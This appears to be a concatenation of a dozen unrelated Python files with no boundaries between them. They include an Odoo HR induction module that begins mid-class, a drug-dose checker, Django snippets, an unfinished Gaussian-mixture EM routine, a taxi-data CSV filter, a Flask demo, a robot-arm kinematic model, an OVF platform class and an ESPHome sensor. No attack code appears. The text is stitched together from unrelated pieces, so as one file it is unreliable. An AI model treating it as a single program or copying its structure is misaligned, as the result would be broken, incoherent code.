	location_work_id = fields.Many2one('work.location', string="Work Location",related="employee_id.location_work_id",track_visibility='onchange')
	# state = fields.Selection([('draft','Draft'),('hr_submit','Induction Created'),('acknowledged','Acknowledged by Approver 1'),('reject','Disagreed'),('resubmit','Resubmitted'),('emp_approval','Agreed by Employee'),('done','Completed')],string="Stage",default='draft',track_visibility='onchange')
	state = fields.Selection([('draft','Draft'),('hr_submit','Induction Created'),('emp_approval','Agreed by Employee'),('reject','Disagreed'),('resubmit','Resubmitted'),('acknowledged','Acknowledged by Approver 1'),('done','Completed')],string="Stage",default='draft',track_visibility='onchange')

	induction_line_ids = fields.One2many('hr.induction.line','induction_id',default = _default_induction_line)
	user_id = fields.Many2one('res.users', string='Related User', index=True, track_sequence=2, related="employee_id.user_id",store=True)
	company_id = fields.Many2one('res.company', 'Company', default=lambda self: self.env.user.company_id.id)
	remarks_by_l1_manager = fields.Text(string="Acknowledgement by Approver 1",track_visibility='onchange',readonly=True)
	remarks_by_employee = fields.Text(string="Reason for Rejection / Disagree",track_visibility='onchange',readonly=True)
	document_created_by = fields.Many2one('res.users',default=lambda self: self.env.uid,string="Hr User Id")
	induction_confirm_date = fields.Datetime(string='Induction Confirmed by HR', track_visibility='onchange', track_sequence=2)
	emp_accept_date = fields.Datetime(string='Employee Agreed', track_visibility='onchange', track_sequence=2)
	emp_rejected_date = fields.Datetime(string='Employee Disagreed', track_visibility='onchange', track_sequence=2)
	hr_resubmit_date = fields.Datetime(string='HR ReSubmitted', track_visibility='onchange', track_sequence=2)
	l1_manager_ack_date = fields.Datetime(string='L1 Manager Acknowledge', track_visibility='onchange', track_sequence=2)
	created_hr_employee_id = fields.Many2one('hr.employee', string="HR")

	# get Users for Notification/Reminders
	@api.multi
	@api.depends('employee_id')
	def compute_employee_approver1_id(self):
		employee_rec = self.env['hr.employee'].sudo().search([('id', '=', self.employee_id.id)])
		for rec in employee_rec:
			self.hr_reminder_approver1_ids = rec.lone_manager_id
			self.hr_reminder_approver2_ids = rec.ltwo_manager_id
			self.hr_reminder_hod_ids = rec.hod_id
			self.hr_reminder_director_ids = rec.parent_id
			self.employee_ids = rec
			self.hr_ids = self.created_hr_employee_id

	hr_reminder_approver1_ids = fields.Many2many('hr.employee', string='Noti1 Approver1',
												 compute="compute_employee_approver1_id")
	hr_reminder_approver2_ids = fields.Many2many('hr.employee', string='Noti2 Approver2',
												 compute="compute_employee_approver1_id")
	hr_reminder_hod_ids = fields.Many2many('hr.employee', string='Noti3 Hod',
										   compute="compute_employee_approver1_id")
	hr_reminder_director_ids = fields.Many2many('hr.employee', string='Noti4 Director',
												compute="compute_employee_approver1_id")
	employee_ids = fields.Many2many('hr.employee', string='Noti5 Employee Ids', compute="compute_employee_approver1_id")
	hr_ids = fields.Many2many('hr.employee', string='Noti6 Employee Ids', compute="compute_employee_approver1_id")

	@api.model
	def create(self,vals):
		vals['name'] = self.env['ir.sequence'].next_by_code('hr.induction')
		rec = super(HrInduction,self).create(vals)
		return rec

	@api.multi
	def action_hr_confirm(self):
		is_hr = self.env.user.has_group('hr_employee_kra.group_kra_hr')
		for line in self:
			if is_hr:
				line.write({'state':'hr_submit','induction_confirm_date': datetime.now()})
				template_id = self.env.ref('hr_employee_kra.email_template_induction_to_employee')
				template_id.send_mail(self.id, force_send=True)
				# Reminder Notification
				hr_reminder = line.env['hr.reminder'].sudo().create({
					'name': 'Induction process is completed for you',
					'employee_id': line.employee_id.id, 'model_name': 'hr.induction',
					'approver_ids': [(6, 0, line.employee_ids.ids)],
					'hr_induction_id': line.id
				})
			else:
				raise UserError(_('You are not a authorized user to perform actions in this document.'))

	@api.multi
	def action_emp_reject(self):
		current_employee = self.env.uid
		is_employee = self.env.user.has_group('hr_employee_kra.group_kra_user')
		for line in self:
			if line.user_id.id != current_employee:
				raise UserError(_('You are not a authorized user to perform actions in this document.'))
			if line.user_id.id == current_employee:
				template_id = self.env.ref('hr_employee_kra.email_template_induction_employee_rejection_to_hr')
				template_id.send_mail(self.id, force_send=True)
				# Reminder Notification
				hr_reminder = line.env['hr.reminder'].sudo().create({
					'name': 'Employee disagreed Induction Checklist',
					'employee_id': line.employee_id.id, 'model_name': 'hr.induction',
					'approver_ids': [(6, 0, line.hr_ids.ids)],
					'hr_induction_id': line.id
				})

				# line.write({'state':'reject','emp_rejected_date': datetime.now()})
				form_view = self.env.ref('hr_employee_kra.form_induction_emp_reject_remark_wizard')
				return {
		            'name': "Reason for Rejection / Disagree",
		            'view_mode': 'form',
		            'view_type': 'form',
		            'view_id': form_view.id,
		            'res_model': 'induction.emp.reject.remark',
		            'type': 'ir.actions.act_window',
		            'target': 'new',
		            'context': {
		                'induction_id': self.ids, 'is_reject': True
		            },
		            # 'emp_rejected_date': datetime.now()
		        }

	@api.multi
	def action_emp_accept(self):
		current_employee = self.env.uid
		is_employee = self.env.user.has_group('hr_employee_kra.group_kra_user')
		for line in self:
			if line.user_id.id != current_employee:
				raise UserError(_('You are not a authorized user to perform actions in this document.'))
			if line.user_id.id == current_employee:
				var = line.remarks_by_employee
				# print("BBBB", var)
				# line.remarks_by_employee.replace("Disagree", "")
				line.write({'state':'emp_approval','emp_accept_date': datetime.now()})
				template_id = self.env.ref('hr_employee_kra.email_template_induction_employee_confirms_to_a1')
				template_id.send_mail(self.id, force_send=True)
				# Reminder Notification
				hr_reminder = line.env['hr.reminder'].sudo().create({
					'name': 'Employee had submitted his Induction',
					'employee_id': line.employee_id.id, 'model_name': 'hr.induction',
					'approver_ids': [(6, 0, line.hr_reminder_approver1_ids.ids)],
					'hr_induction_id': line.id
				})

	@api.multi
	def action_hr_resubmit(self):
		is_hr = self.env.user.has_group('hr_employee_kra.group_kra_hr')
		for line in self:
			if is_hr:
				line.write({'state':'resubmit','remarks_by_employee':'','hr_resubmit_date': datetime.now()})
			else:
				raise UserError(_('You are not a authorized user to perform actions in this document.'))

	@api.multi
	def action_l1_manager_acknowledge(self):
		current_employee = self.env.uid
		is_approver_1 = self.env.user.has_group('hr_employee_kra.group_kra_approver_1')
		for line in self:
			if line.reporting_manager_user_id.id != current_employee:
				raise UserError(_('You are not a authorized user to Acknowledge this document.'))
			if line.reporting_manager_user_id.id == current_employee and is_approver_1:
				# line.write({'state':'acknowledged','l1_manager_ack_date' : datetime.now()})
				form_view = self.env.ref('hr_employee_kra.form_induction_acknowledge_remark_wizard')
				return {
		            'name': "Acknowledgement",
		            'view_mode': 'form',
		            'view_type': 'form',
		            'view_id': form_view.id,
		            'res_model': 'induction.acknowledge.remark',
		            'type': 'ir.actions.act_window',
		            'target': 'new',
		            'context': {
		                'induction_id': self.ids, 'is_acknowledge': True
		            },
		            #'l1_manager_ack_date' : datetime.now()
		        }

	@api.multi
	def action_hr_confirm_resubmit(self):
		current_employee = self.env.uid
		is_hr = self.env.user.has_group('hr_employee_kra.group_kra_hr')
		for line in self:
			if is_hr:
				line.write({'state':'hr_submit','hr_resubmit_date': datetime.now()})
			else:
				raise UserError(_('You are not a authorized user to perform actions in this document.'))

	@api.onchange('employee_id')
	def onchange_employee_id(self):
		if self.employee_id:
			if self.env['hr.induction'].search([('employee_id', '=', self.employee_id.id)]):
				raise UserError(_('Already Induction Created for this Employee.'))

class HrInductionLine(models.Model):
	_name = 'hr.induction.line'
	# _inherit = ['mail.thread']

	induction_id = fields.Many2one('hr.induction')

	name = fields.Char(string="Particulars")
	session_details = fields.Char(string="Session Details",track_visibility="onchange")
	responsibility = fields.Many2one('hr.department',string="Session Taken by/Responsibility")
	completed = fields.Selection([('completed','Completed'),('pending', 'Pending'), ('na','N/A')],string="Status",track_visibility='onchange')
	user_id = fields.Many2one('User', default=lambda self: self.env.uid)
	is_hr = fields.Boolean('HR', compute='_compute_hr')

	@api.depends('user_id')
	def _compute_hr(self):
		for rec in self:
			var = self.env.user.has_group('hr_employee_kra.group_kra_hr')
			# print("VAR", var)
			if var:
				rec.is_hr = True


class Dose():
    """
    dose represent drug name, amount of drug and unit
    attributes:
    drug for the drug name
    amount
    mass_unit
    time_unit
    """

    def __init__(self, text):
        self.drug = text[0:text.find(' ')]
        self.amount = float(text[text.find(' ')+1:text.find(' ',text.find(' ') + 1)])
        self.mass_unit = text[text.find(' ', text.find(' ') + 1)+1:text.find('/')]
        self.time_unit = text[text.find('/') + 1:]

    def is_overdose(self, reference):
        """
        If the drug and units are the same, and the amount is less than or equal to the reference amount, return False.
        If the drug and units are not the same, then return None.
        Otherwise return True.
        Note, 'None' is a special kind of value that any variable can have.
        It means that the value of this variable is undefined.
        """
        if self.drug == reference.drug and self.mass_unit == reference.mass_unit and self.time_unit == reference.time_unit:
            if reference.amount >= self.amount:
                return False
            else:
                return True
        else:
            return None


from users.models import OwnedBlog, Blog, LikeBlog, AccountUser, CookieCoin, History, Wallet, AccountOrganization, ReportBlog, ViewBlog
from django.shortcuts import render
def setup_user(request):
    if not request.user.is_authenticated:
        return {}
    user = AccountUser.objects.filter(user_id=request.user.id).first()
    if user:

        return{
            'userlayout': user,
        }
    else:
        user = AccountOrganization.objects.filter(user_id=request.user.id).first()
        return {
            'userlayout': user,
        }


"""Mixture model for matrix completion"""
from typing import Tuple
import numpy as np
from scipy.special import logsumexp
from common import GaussianMixture
from scipy.stats import multivariate_normal as norm

def estep(X: np.ndarray, mixture: GaussianMixture) -> Tuple[np.array, float]:
    """E-step: Softly assigns each datapoint to a gaussian component

    Args:
        X: (n, d) array holding the data, with incomplete entries (set to 0)
        mixture: the current gaussian mixture

    Returns:
        np.ndarray: (n, K) array holding the soft counts
            for all components for all examples
        float: log-likelihood of the assignment

    """
    # 1. build nn: normal distribution n*K
    mu = mixture.mu
    p = mixture.p
    var = mixture.var
    num = X.shape[0]
    K = len(p)

    # 1. build nn
    norm_table = np.array([norm.pdf(X[0], mean=mu[j], cov=(var[j])) for j in np.arange(K)])
    for i in np.arange(1, num):
        nn = np.array([norm.pdf(X[i], mean=mu[j], cov=(var[j])) for j in np.arange(K)])
        norm_table = np.append(norm_table, nn)
    norm_table = norm_table.reshape((num, K))
    # 2. calculate px
    px = np.matmul(norm_table, np.transpose(p))
    # 3. calculate pj_x: the soft count
    pj_x = norm_table * p
    pj_x = pj_x/px.reshape((num, 1))
    # 4. calculate the log likelihood
    log_px = np.log(px)
    likelihood = np.sum(log_px)

    return pj_x, likelihood

def mstep(X: np.ndarray, post: np.ndarray, mixture: GaussianMixture,
          min_variance: float = .25) -> GaussianMixture:
    """M-step: Updates the gaussian mixture by maximizing the log-likelihood
    of the weighted dataset

    Args:
        X: (n, d) array holding the data, with incomplete entries (set to 0)
        post: (n, K) array holding the soft counts
            for all components for all examples
        mixture: the current gaussian mixture
        min_variance: the minimum variance for each gaussian

    Returns:
        GaussianMixture: the new gaussian mixture
    """
    num, d = X.shape
    K = post.shape[1]
    nj = np.sum(post, axis=0)
    pj = nj/num
    u = np.matmul(np.transpose(post), X)
    mu = u/nj.reshape(len(nj), 1)

    post_sum = np.sum(post, axis=0)
    var = np.zeros(K)

    for j in np.arange(K):
        diff = X - mu[j]
        diff = np.linalg.norm(diff, axis=1) ** 2
        v = np.sum(post[:,j] * diff)
        # v = np.transpose(post[:,j]) * diff
        var[j] = v/(d * nj[j])

    new_mixture = GaussianMixture(mu, var, pj)
    return new_mixture

def run(X: np.ndarray, mixture: GaussianMixture,
        post: np.ndarray) -> Tuple[GaussianMixture, np.ndarray, float]:
    """Runs the mixture model

    Args:
        X: (n, d) array holding the data
        post: (n, K) array holding the soft counts
            for all components for all examples

    Returns:
        GaussianMixture: the new gaussian mixture
        np.ndarray: (n, K) array holding the soft counts
            for all components for all examples
        float: log-likelihood of the current assignment
    """
    l_old = 0
    not_converge = True
    while (not_converge):
        post, loglikehood = estep(X, mixture)
        mixture = mstep(X, post, mixture)
        ans = 'logLikelihood = {}'.format(loglikehood)
        # print(ans)
        not_converge = np.abs(loglikehood - l_old) >= (10**-6 * np.abs(loglikehood))
        l_old = loglikehood
    return mixture, post, loglikehood

def fill_matrix(X: np.ndarray, mixture: GaussianMixture) -> np.ndarray:
    """Fills an incomplete matrix according to a mixture model

    Args:
        X: (n, d) array of incomplete data (incomplete entries =0)
        mixture: a mixture of gaussians

    Returns
        np.ndarray: a (n, d) array with completed data
    """
    raise NotImplementedError


#최대 힙
import heapq

n = int(input())
heap = []
ans = []

for _ in range(n):
    num = int(input())
    if num == 0:
        # -1 곱
        if heap:
            tmp = heapq.heappop(heap)
            ans.append(-tmp)
        else:
            ans.append(0)

    else:
        heapq.heappush(heap, -1*num)

for a in ans:
    print(a)


# -*- coding: utf-8 -*-

import csv
from datetime import datetime
import os
import pprint
import sys

if len(sys.argv) < 3:
    print ("Usage: "+sys.argv[0]+" <inputfile> <startdate> <enddate>")
    print ("  e.g. "+sys.argv[0]+" yellow_tripdata_2015-06.csv \"2015-06-01 00:00:00\" \"2015-06-01 23:59:59\"")
    print ("  (all dates are inclusive)")
    sys.exit(1)

INPUT_FILE = sys.argv[1]
START_DATE = datetime.strptime(sys.argv[2], '%Y-%m-%d %H:%M:%S')
END_DATE = datetime.strptime(sys.argv[3], '%Y-%m-%d %H:%M:%S')
OUTPUT_FILE = 'visualization/data/rides.csv'
NYC_BOUNDS = [40.477399, -74.25909, 40.917577, -73.7000272] # Source: https://www.maptechnica.com/us-city-boundary-map/city/New%20York/state/NY/cityid/3651000?

rides = []

# Read files from file
with open(INPUT_FILE, 'rb') as f:
    r = csv.reader(f, delimiter=',')
    next(r, None) # remove header
    for VendorID, tpep_pickup_datetime, tpep_dropoff_datetime, passenger_count, trip_distance, pickup_longitude, pickup_latitude, RateCodeID, store_and_fwd_flag, dropoff_longitude, dropoff_latitude, payment_type, fare_amount, extra, mta_tax, tip_amount, tolls_amount, total_amount in r:

        pickup_datetime = datetime.strptime(tpep_pickup_datetime, '%Y-%m-%d %H:%M:%S')
        dropoff_datetime = datetime.strptime(tpep_dropoff_datetime, '%Y-%m-%d %H:%M:%S')

        # Make sure dates are in range
        if pickup_datetime >= START_DATE and dropoff_datetime <= END_DATE:
            pickup_latitude = float(pickup_latitude)
            pickup_longitude = float(pickup_longitude)
            dropoff_latitude = float(dropoff_latitude)
            dropoff_longitude = float(dropoff_longitude)
            # Make sure lat/lng in nyc bounds
            if pickup_latitude > NYC_BOUNDS[0] and pickup_longitude > NYC_BOUNDS[1] and pickup_latitude < NYC_BOUNDS[2] and pickup_longitude < NYC_BOUNDS[3] and dropoff_latitude > NYC_BOUNDS[0] and dropoff_longitude > NYC_BOUNDS[1] and dropoff_latitude < NYC_BOUNDS[2] and dropoff_longitude < NYC_BOUNDS[3]:
                rides.append([pickup_latitude, pickup_longitude, dropoff_latitude, dropoff_longitude])

with open(OUTPUT_FILE, 'wb') as f:
    w = csv.writer(f)
    w.writerow(['lt0', 'ln0', 'lt1', 'ln1'])
    for r in rides:
        w.writerow(r)
    print('Successfully wrote '+str(len(rides))+' rides file: '+OUTPUT_FILE)

print ("Done.")


from flask import Flask    # 导入Flask类
from flask import render_template  # 导入render_template模块
app = Flask(__name__)         # 实例化并命名为app实例

# 使用了装饰器来制定路由url
@app.route('/')  # 调用route路由方法，括号里给定参数，/符号默认为首页
# @app.route('/home/user')    # 调用route路由方法，/home/user定位到访问user方法页面
def index(name=None):
    # return 'Hello World'
    # return '
welcome to my webpage!

输出语句测试
'
    # return render_template("index.html")  # 调用render_template函数，传入html文件参数
    msg = "China up!"
    return render_template("index.html", data=msg)  # 加入变量传递

if __name__ == "__main__":
    app.run(port=2020, host="127.0.0.1", debug=True)


class point:
    def __init__(self,abssicca,ordinate,abssicca1,ordinate1):
        self.abssicca = abssicca
        self.ordinate = ordinate
        self.abssicca1 = abssicca1
        self.ordinate1 = ordinate1
    def showdisplay(self):
        print("first coordinate is of 1st point",self.abssicca)
        print("secind coordinate is 1st point",self.ordinate)
        print("first coordinate is 2nd point",self.abssicca1)
        print("secind coordinate is 2nd point",self.ordinate1)
    def distance(self):
        c = ((self.abssicca1 - self.abssicca)**2 + (self.ordinate1 - self.ordinate)**2)**(0.5)
        print(c)
a = int(input("enter the abssicca of first point : "))
b = int(input("enter the ordinate of first point : "))
f = int(input("enter the abssicca of second point : "))
d = int(input("enter the ordinate of second point : "))

e = point(a,b,f,d)
e.showdisplay()
e.distance()


# This code is defining the URL patterns for a Django project.
from django.contrib import admin
from django.urls import path, include

# The `urlpatterns` variable is a list of URL patterns for a Django project. Each `path` function call
# specifies a URL pattern and the corresponding view or URL configuration to be used.
urlpatterns = [
    path('', include('core.urls')),
    path('rooms/', include('room.urls')),
    path('admin/', admin.site.urls),
]


#!/usr/bin/env python3

import numpy as np
from roboticstoolbox.robot.ET import ET
from roboticstoolbox.robot.ERobot import ERobot
from roboticstoolbox.robot.Link import Link

class Panda_Modified(ERobot):
    """
    Create model of Franka-Emika Panda manipulator

    panda = Panda() creates a robot object representing the Franka-Emika
    Panda robot arm. This robot is represented using the elementary
    transform sequence (ETS).

    ETS taken from [1] based on
    https://frankaemika.github.io/docs/control_parameters.html

    :references:
        - Kinematic Derivatives using the Elementary Transform
          Sequence, J. Haviland and P. Corke

    """

    def __init__(self):

        deg = np.pi / 180
        mm = 1e-3
        tool_offset = (103) * mm

        # Base links
        l_b = Link(ET.tz(0.284248) ,name="base_link", parent=None)
        l_3 = Link(ET.Rz(), name="base_linkθ", parent=l_b)
        l_2 = Link(ET.tx(), name="base_linkδ", parent=l_3, qlim=[-99999,99999])

        # Transform to elevator
        l_1 = Link(ET.tx(0.117535817-53.87925*mm) * ET.tz(1-0.187907), name="base2elev", parent=l_2) # subtracted value in ET.tz is expirementally found from sim value - fkine.A

        # Elevator Z prismatic
        l_e = Link(ET.tz(), name="base_linkεz", parent=l_1, qlim=[-0.25,0.25])

        # Rotation in X and Y axis revolute
        l_erx = Link(ET.Rx(), name="base_linkεx", parent=l_e, qlim=[-0.3, 0.3])
        l_ery = Link(ET.Ry(), name="base_linkεy", parent=l_erx, qlim=[-0.3, 0.3])

        # Static X translation to get to base of arm from elevator
        l_x = Link(ET.tx(53.87925*mm), name="elev2arm", parent=l_ery)

        # Panda Arm
        l0 = Link(ET.tz(0.333) * ET.Rz(), name="link0", parent=l_x)
        l1 = Link(ET.Rx(-90 * deg) * ET.Rz(), name="link1", parent=l0)
        l2 = Link(ET.Rx(90 * deg) * ET.tz(0.316) * ET.Rz(), name="link2", parent=l1)
        l3 = Link(ET.tx(0.0825) * ET.Rx(90, "deg") * ET.Rz(), name="link3", parent=l2)
        l4 = Link(
            ET.tx(-0.0825) * ET.Rx(-90, "deg") * ET.tz(0.384) * ET.Rz(),
            name="link4",
            parent=l3,
        )
        l5 = Link(ET.Rx(90, "deg") * ET.Rz(), name="link5", parent=l4)
        l6 = Link(
            ET.tx(0.088) * ET.Rx(90, "deg") * ET.tz(0.107) * ET.Rz(),
            name="link6",
            parent=l5,
        )
        ee = Link(ET.tz(tool_offset) * ET.Rz(-np.pi / 4), name="ee", parent=l6)

        elinks = [l_b, l_3, l_2, l_1, l_e, l_erx, l_ery, l_x, l0, l1, l2, l3, l4, l5, l6, ee]
        self.qdlim = np.array(
                [0.5, 0.5, 0.1, 0.1, 0.1, 2.1750, 2.1750,  2.1750, 2.1750, 2.6100, 2.6100, 2.6100, 3.0, 3.0]
        )
        super(Panda_Modified, self).__init__(elinks, name="Panda Modified", manufacturer="WPI & Franka Emika")

        # self.qr = np.array([0, -0.3, 0, -2.2, 0, 2.0, np.pi / 4])
        # self.qz = np.zeros(7)

        # self.addconfiguration("qr", self.qr)
        # self.addconfiguration("qz", self.qz)

if __name__ == "__main__":  # pragma nocover

    robot = Panda_Modified()
    print(robot)


ORDERED_ELEMENTS = ("Kind", "Version", "Vendor", "Locale", "Timezone")
#:List of ordered elements that can be members of Platform Section.

class PlatformSection(object):
    """OVF Environment PlatformSection class"""

    __slots__ = ORDERED_ELEMENTS
    platDict = {} #: Store the elements as dict.

    def __init__(self, data=None):
        """ Initialize the PlatformSection."""
        if data:
            self.update(data)

    def update(self, data):
        """Method to update attributes based in the dictionary
        passed as argument

        @param data: dictionary with new values.
        @type data: dict
        """
        for key, value in data.iteritems():
            setattr(self, key, value)
            self.platDict[key] = value

    def iteritems(self):
        """Make this object iterable, like in a dict.
        The iterator is ordered as required in the schema.

        @return: iterable (key, value) pairs
        """
        ret = []
        for key in self.__slots__:
            try:
                value = getattr(self, key)
                ret.append((key, value))
            except AttributeError:
                continue

        return ret

    def __setattr__(self, name, value):
        """Overrides method in order to ensure Timezone's type
        as required in the OVF spec.
        """

        if name == "Timezone":
            try:
                int(value)
            except ValueError:
                raise ValueError("Timezone must be an integer-like value")

        object.__setattr__(self, name, value)


def f(x, n):
    n += 1
    if(x*(x+1)//2 <= n):
        return True
    else:
        return False

n = int(input())
r = n + 2
l = -1

while(r-l > 1):
    mid = (r+l)//2
    if(f(mid, n)):
        l = mid
    else:
        r = mid
print(n+1-l)


import esphome.codegen as cg
import esphome.config_validation as cv
from esphome.components import binary_sensor
from esphome.const import CONF_ID
from . import EmptySensorHub, CONF_HUB_ID

DEPENDENCIES = ['empty_sensor_hub']

binary_sensor_ns = cg.esphome_ns.namespace('binary_sensor')
BinarySensor = binary_sensor_ns.class_('BinarySensor', binary_sensor.BinarySensor, cg.Nameable)

CONFIG_SCHEMA = binary_sensor.BINARY_SENSOR_SCHEMA.extend({
    cv.GenerateID(): cv.declare_id(BinarySensor),
    cv.GenerateID(CONF_HUB_ID): cv.use_id(EmptySensorHub)
}).extend(cv.COMPONENT_SCHEMA)

def to_code(config):
    paren = yield cg.get_variable(config[CONF_HUB_ID])
    var = cg.new_Pvariable(config[CONF_ID])

    yield binary_sensor.register_binary_sensor(var, config)

    cg.add(paren.register_binary_sensor(var))